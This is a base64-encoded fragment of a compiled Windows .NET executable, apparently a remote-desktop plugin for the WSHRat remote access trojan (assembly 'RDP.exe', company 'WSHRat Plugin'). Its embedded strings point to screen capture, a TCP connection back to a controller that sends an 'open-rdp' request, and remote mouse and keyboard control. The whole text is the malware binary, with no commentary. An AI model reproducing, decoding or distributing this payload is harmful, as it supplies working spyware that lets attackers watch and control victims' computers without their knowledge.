AYMBGwAuBYMBYwHUAIMBiwDUAIMBIwDUAIMBkwDUAKABEwBvAaMBGwCGBaMBYwHUAKMBEwBvBcABEwBvAcMBYwHUAMMBkwDUAMMBiwDUAMMBIwDUAOABEwBvAQACMwDUAAACEwBvASACMwDUACACEwBvAUACMwDUAEACEwBvAWACMwDUAGACEwBvAYACMwDUAKACMwDUAMACEwBvAcACMwDUAOACMwDUAAADMwDUAAADEwBvASAEKwPUAGAEWwLUAGAEYwHUAIAEIwDUAAAGIwDUALkBvgHDAcgBzQFoAnUCfwKDAocCjAJ/AoMChwKMAvECdQJlA4IDoQP6AzcETwTKBOgE+AT4BAQFIQUpBYEFgQUEAAEABwAGAAwABwANAAkADgAKAAAAXQFcAAAAOAJhAAAAxQFmAAAARAJrAAAASgJwAAAAKgOqAAAAuQVRAQAAOAZWAQAAiQZkAQAAngZkAQIABAADAAIABQAFAAIABgAHAAIABwAJAAIACAALAAIAFwANAAIALAAPAAEALgARAAIALQARAAIAMQATAAIAMgAVAFwFrAt1AHUAdQB1AJ4AlgGdAaQBqwGyAVkDAAE1ADYDAgBDAUsALQUBAASAAAABAAEAAAAAAAAAAAAAAJQAAAACAAAAAAAAAAAAAAABAAoAAAAAAAgAAAAAAAAAAAAAAAoAEwAAAAAAAgAAAAAAAAAAAAAAAQBpAgAAAAACAAAAAAAAAAAAAAAKAIkDAAAAAAIAAAAAAAAAAAAAAAEAZgEAAAAAAAAAAAEAAAB8DgAABQAEAAYABAAHAAQACQAIAAAAEAAOAIMCAAAQABMAgwIAAAAAFQCDAgAAEAApAIMCAAAAACsAgwI3AEkCNwBgAwIAFQADABUAAAAAPE1vZHVsZT4AbXNjb3JsaWIATWljcm9zb2Z0LlZpc3VhbEJhc2ljAE15QXBwbGljYXRpb24AUkRQLk15AE15Q29tcHV0ZXIATXlQcm9qZWN0AE15Rm9ybXMATXlXZWJTZXJ2aWNlcwBUaHJlYWRTYWZlT2JqZWN0UHJvdmlkZXJgMQBHcmFwaGljc0hhbmRsZXIAUkRQAFByb2Nlc3NEUElBd2FyZW5lc3MATW9kdWxlMQBNb3VzZUV2ZW50AFJlc291cmNlcwBSRFAuTXkuUmVzb3VyY2VzAE15U2V0dGluZ3MATXlTZXR0aW5nc1Byb3BlcnR5AE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5BcHBsaWNhdGlvblNlcnZpY2VzAENvbnNvbGVBcHBsaWNhdGlvbkJhc2UALmN0b3IATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkRldmljZXMAQ29tcHV0ZXIAU3lzdGVtAE9iamVjdAAuY2N0b3IAZ2V0X0NvbXB1dGVyAG1fQ29tcHV0ZXJPYmplY3RQcm92aWRlcgBnZXRfQXBwbGljYXRpb24AbV9BcHBPYmplY3RQcm92aWRlcgBVc2VyAGdldF9Vc2VyAG1fVXNlck9iamVjdFByb3ZpZGVyAGdldF9Gb3JtcwBtX015Rm9ybXNPYmplY3RQcm92aWRlcgBnZXRfV2ViU2VydmljZXMAbV9NeVdlYlNlcnZpY2VzT2JqZWN0UHJvdmlkZXIAQXBwbGljYXRpb24ARm9ybXMAV2ViU2VydmljZXMAQ3JlYXRlX19JbnN0YW5jZV9fAFN5c3RlbS5XaW5kb3dzLkZvcm1zAEZvcm0AVABJbnN0YW5jZQBEaXNwb3NlX19JbnN0YW5jZV9fAGluc3RhbmNlAFN5c3RlbS5Db2xsZWN0aW9ucwBIYXNodGFibGUAbV9Gb3JtQmVpbmdDcmVhdGVkAEVxdWFscwBvAEdldEhhc2hDb2RlAFR5cGUAR2V0VHlwZQBUb1N0cmluZwBnZXRfR2V0SW5zdGFuY2UAbV9UaHJlYWRTdGF0aWNWYWx1ZQBHZXRJbnN0YW5jZQBTZXRQcm9jZXNzRHBpQXdhcmVuZXNzAHZhbHVlAFNldERwaUF3YXJlbmVzcwBHZXRTY3JlZW5SZXNvbHV0aW9uAFRha2VTaG9vdABxdWFsaXR5AFN5c3RlbS5EcmF3aW5nAEJpdG1hcABJbWFnZQBDb21wcmVzc0pQRUcAaW1nAHJhdGlvAFN5c3RlbS5EcmF3aW5nLkltYWdpbmcASW1hZ2VDb2RlY0luZm8AR2V0SnBlZ0NvZGVjSW5mbwBFbnVtAHZhbHVlX18AUHJvY2Vzc0RQSVVuYXdhcmUAUHJvY2Vzc1N5c3RlbURQSUF3YXJlAFByb2Nlc3NQZXJNb25pdG9yRFBJQXdhcmUAU3lzdGVtLk5ldC5Tb2NrZXRzAFRjcENsaWVudABzb2NrZXQAZ2gAbG9vcGluZwBtYWluAGFyZ3MAUG9zdEdyYXBoaWNzAE1PVVNFRVZFTlRGX0FCU09MVVRFAE1PVVNFRVZFTlRGX0xFRlRET1dOAE1PVVNFRVZFTlRGX0xFRlRVUABNT1VTRUVWRU5URl9SSUdIVERPV04ATU9VU0VFVkVOVEZfUklHSFRVUABNT1VTRUVWRU5URl9NSURETEVET1dOAE1PVVNFRVZFTlRGX01JRERMRVVQAE1PVVNFRVZFTlRGX1dIRUVMAG1vdXNlX2V2ZW50AGR3RmxhZ3MAZHgAZHkAY0J1dHRvbnMAZHdFeHRyYUluZm8AdXNlcjMyAENsaWNrAE5CdXR0b24ARGJsQ2xpY2sATW91c2VEb3duAE1vdXNlVXAATW92ZVRvAFgAWQBNb3VzZVdoZWVsAERlbHRhAFN5c3RlbS5SZXNvdXJjZXMAUmVzb3VyY2VNYW5hZ2VyAHJlc291cmNlTWFuAFN5c3RlbS5HbG9iYWxpemF0aW9uAEN1bHR1cmVJbmZvAHJlc291cmNlQ3VsdHVyZQBnZXRfUmVzb3VyY2VNYW5hZ2VyAGdldF9DdWx0dXJlAHNldF9DdWx0dXJlAFZhbHVlAEN1bHR1cmUAU3lzdGVtLkNvbmZpZ3VyYXRpb24AQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UAZGVmYXVsdEluc3RhbmNlAGdldF9EZWZhdWx0AERlZmF1bHQAZ2V0X1NldHRpbmdzAFNldHRpbmdzAFN5c3RlbS5Db21wb25lbnRNb2RlbABFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUARWRpdG9yQnJvd3NhYmxlU3RhdGUAU3lzdGVtLkNvZGVEb20uQ29tcGlsZXIAR2VuZXJhdGVkQ29kZUF0dHJpYnV0ZQBTeXN0ZW0uRGlhZ25vc3RpY3MARGVidWdnZXJOb25Vc2VyQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dlckhpZGRlbkF0dHJpYnV0ZQBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQ29tcGlsZXJTZXJ2aWNlcwBTdGFuZGFyZE1vZHVsZUF0dHJpYnV0ZQBIaWRlTW9kdWxlTmFtZUF0dHJpYnV0ZQBTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduAEhlbHBLZXl3b3JkQXR0cmlidXRlAFN5c3RlbS5SZWZsZWN0aW9uAFRhcmdldEludm9jYXRpb25FeGNlcHRpb24AQ29udHJvbABnZXRfSXNEaXNwb3NlZABSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBDb250YWluc0tleQBTdHJpbmcAVXRpbHMAR2V0UmVzb3VyY2VTdHJpbmcASW52YWxpZE9wZXJhdGlvbkV4Y2VwdGlvbgBBZGQAQWN0aXZhdG9yAENyZWF0ZUluc3RhbmNlAFByb2plY3REYXRhAEV4Y2VwdGlvbgBTZXRQcm9qZWN0RXJyb3IAZ2V0X0lubmVyRXhjZXB0aW9uAGdldF9NZXNzYWdlAENsZWFyUHJvamVjdEVycm9yAFJlbW92ZQBDb21wb25lbnQARGlzcG9zZQBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAFJ1bnRpbWVIZWxwZXJzAEdldE9iamVjdFZhbHVlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAFRocmVhZFN0YXRpY0F0dHJpYnV0ZQBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAQ29tVmlzaWJsZUF0dHJpYnV0ZQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBFbnZpcm9ubWVudABPcGVyYXRpbmdTeXN0ZW0AZ2V0X09TVmVyc2lvbgBWZXJzaW9uAGdldF9WZXJzaW9uAGdldF9NYWpvcgBSZWN0YW5nbGUAU2NyZWVuAGdldF9TY3JlZW4AZ2V0X0JvdW5kcwBnZXRfV2lkdGgAQ29udmVyc2lvbnMAZ2V0X0hlaWdodABDb25jYXQAR3JhcGhpY3MAU3lzdGVtLklPAE1lbW9yeVN0cmVhbQBQaXhlbEZvcm1hdABGcm9tSW1hZ2UAU2l6ZQBnZXRfU2l6ZQBDb3B5UGl4ZWxPcGVyYXRpb24AQ29weUZyb21TY3JlZW4ATWF0aABSb3VuZABEcmF3SW1hZ2UASW1hZ2VGb3JtYXQAZ2V0X1BuZwBTdHJlYW0AU2F2ZQBUb0FycmF5AEVuY29kZXJQYXJhbWV0ZXJzAEVuY29kZXJQYXJhbWV0ZXIAZ2V0X1BhcmFtAEVuY29kZXIAUXVhbGl0eQBGcm9tU3RyZWFtAEdldEltYWdlRW5jb2RlcnMAZ2V0X01pbWVUeXBlAE9wZXJhdG9ycwBDb21wYXJlU3RyaW5nAERsbEltcG9ydEF0dHJpYnV0ZQBzaGNvcmUuZGxsAF9MYW1iZGEkX18xAGEwAERlYnVnZ2VyU3RlcFRocm91Z2hBdHRyaWJ1dGUAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAVG9JbnRlZ2VyAENvbm5lY3QAU3lzdGVtLlRleHQARW5jb2RpbmcAZ2V0X0FTQ0lJAEdldEJ5dGVzAE5ldHdvcmtTdHJlYW0AR2V0U3RyZWFtAFdyaXRlAEZsdXNoAEJ5dGUAUmVhZABDbG9zZQBFeGl0AEdldFN0cmluZwBFbmRzV2l0aABJbmRleE9mAFN1YnN0cmluZwBDaGFyAFNwbGl0AFBhcmFtZXRlcml6ZWRUaHJlYWRTdGFydABJbnQzMgBTdGFydABTZW5kS2V5cwBTZW5kV2FpdABSdW4AU2xlZXAAU1RBVGhyZWFkQXR0cmlidXRlAFBvaW50AEN1cnNvcgBzZXRfUG9zaXRpb24AUmVmZXJlbmNlRXF1YWxzAEFzc2VtYmx5AGdldF9Bc3NlbWJseQBTZXR0aW5nc0Jhc2UAU3luY2hyb25pemVkAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAUkRQLmV4ZQBSRFAuUmVzb3VyY2VzLnJlc291cmNlcwAAOVcAaQBuAEYAbwByAG0AcwBfAFIAZQBjAHUAcgBzAGkAdgBlAEYAbwByAG0AQwByAGUAYQB0AGUAADVXAGkAbgBGAG8AcgBtAHMAXwBTAGUAZQBJAG4AbgBlAHIARQB4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AAAAMQAuADEALgAwAC4AMAAAADAACAABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAUgBEAFAALgBlAHgAZQAAAEgAEgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAEMAbwBwAHkAcgBpAGcAaAB0ACAAqQAgACAAMgAwADEAOQAAADgACAABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABSAEQAUAAuAGUAeABlAAAALAAGAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAAByAGQAcABsAHUAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMQAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAxAC4AMAAuADAAAAAAAAAAKAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3cARERERERERERERERERERHAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAEiIiIiIiIiIiIiIiIiIRwBEREREREREREREREREREcARMTExMTExMTExOzs5JdHAEzMzMzMzMzMzMzMzMzMQAAERERERERERERERERERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/////////////////////AAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAPAAAAH////////////////KAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAd3d3d3d3d3REREREREREdP///////4R0////////hHT///////+EdP///////4R0////////hHT///////+EdP///////4R0////////hHSIiIiIiIiEdMzMzMzMzMR8RERERERETAAAAAAAAAAAAAAAAAAAAAAP//AACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA//8AAP//AAAAAAEAAgAgIBAAAQAEAOgCAAACABAQEAABAAQAKAEAAAMAAAAAAAAA77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxhc212MTphc3NlbWJseSBtYW5pZmVzdFZlcnNpb249IjEuMCIgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiB4bWxuczphc212MT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIHhtbG5zOmFzbXYyPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiIgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSI+DQogIDxhc3NlbWJseUlkZW50aXR5IHZlcnNpb249IjEuMC4wLjAiIG5hbWU9Ik15QXBwbGljYXRpb24uYXBwIi8+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYyIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPg0KICAgICAgICA8IS0tIFVBQyBNYW5pZmVzdCBPcHRpb25zDQogICAgICAgICAgICBJZiB5b3Ugd2FudCB0byBjaGFuZ2UgdGhlIFdpbmRvd3MgVXNlciBBY2NvdW50IENvbnRyb2wgbGV2ZWwgcmVwbGFjZSB0aGUgDQogICAgICAgICAgICByZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBub2RlIHdpdGggb25lIG9mIHRoZSBmb2xsb3dpbmcuDQoNCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsICBsZXZlbD0iYXNJbnZva2VyIiB1aUFjY2Vzcz0iZmFsc2UiIC8+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCAgbGV2ZWw9InJlcXVpcmVBZG1pbmlzdHJhdG9yIiB1aUFjY2Vzcz0iZmFsc2UiIC8+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCAgbGV2ZWw9ImhpZ2hlc3RBdmFpbGFibGUiIHVpQWNjZXNzPSJmYWxzZSIgLz4NCg0KICAgICAgICAgICAgU3BlY2lmeWluZyByZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBub2RlIHdpbGwgZGlzYWJsZSBmaWxlIGFuZCByZWdpc3RyeSB2aXJ0dWFsaXphdGlvbi4NCiAgICAgICAgICAgIElmIHlvdSB3YW50IHRvIHV0aWxpemUgRmlsZSBhbmQgUmVnaXN0cnkgVmlydHVhbGl6YXRpb24gZm9yIGJhY2t3YXJkIA0KICAgICAgICAgICAgY29tcGF0aWJpbGl0eSB0aGVuIGRlbGV0ZSB0aGUgcmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgbm9kZS4NCiAgICAgICAgLS0+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZlbD0iYXNJbnZva2VyIiB1aUFjY2Vzcz0iZmFsc2UiIC8+DQogICAgICA8L3JlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgPC9zZWN1cml0eT4NCiAgPC90cnVzdEluZm8+DQogIA0KICA8Y29tcGF0aWJpbGl0eSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpjb21wYXRpYmlsaXR5LnYxIj4NCiAgICA8YXBwbGljYXRpb24+DQogICAgICA8IS0tIEEgbGlzdCBvZiBhbGwgV2luZG93cyB2ZXJzaW9ucyB0aGF0IHRoaXMgYXBwbGljYXRpb24gaXMgZGVzaWduZWQgdG8gd29yayB3aXRoLiBXaW5kb3dzIHdpbGwgYXV0b21hdGljYWxseSBzZWxlY3QgdGhlIG1vc3QgY29tcGF0aWJsZSBlbnZpcm9ubWVudC4tLT4NCg0KICAgICAgPCEtLSBJZiB5b3VyIGFwcGxpY2F0aW9uIGlzIGRlc2lnbmVkIHRvIHdvcmsgd2l0aCBXaW5kb3dzIDcsIHVuY29tbWVudCB0aGUgZm9sbG93aW5nIHN1cHBvcnRlZE9TIG5vZGUtLT4NCiAgICAgIDwhLS08c3VwcG9ydGVkT1MgSWQ9InszNTEzOGI5YS01ZDk2LTRmYmQtOGUyZC1hMjQ0MDIyNWY5M2F9Ii8+LS0+DQogICAgICANCiAgICA8L2FwcGxpY2F0aW9uPg0KICA8L2NvbXBhdGliaWxpdHk+DQogIA0KICA8IS0tIEVuYWJsZSB0aGVtZXMgZm9yIFdpbmRvd3MgY29tbW9uIGNvbnRyb2xzIGFuZCBkaWFsb2dzIChXaW5kb3dzIFhQIGFuZCBsYXRlcikgLS0+DQogIDwhLS0gPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkNCiAgICAgICAgICB0eXBlPSJ3aW4zMiINCiAgICAgICAgICBuYW1lPSJNaWNyb3NvZnQuV2luZG93cy5Db21tb24tQ29udHJvbHMiDQogICAgICAgICAgdmVyc2lvbj0iNi4wLjAuMCINCiAgICAgICAgICBwcm9jZXNzb3JBcmNoaXRlY3R1cmU9IioiDQogICAgICAgICAgcHVibGljS2V5VG9rZW49IjY1OTViNjQxNDRjY2YxZGYiDQogICAgICAgICAgbGFuZ3VhZ2U9IioiDQogICAgICAgIC8+DQogICAgPC9kZXBlbmRlbnRBc3NlbWJseT4NCiAgPC9kZXBlbmRlbmN5Pi0tPg0KDQo8L2FzbXYxOmFzc2VtYmx5Pg0KDQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAMAAAA4DIAAA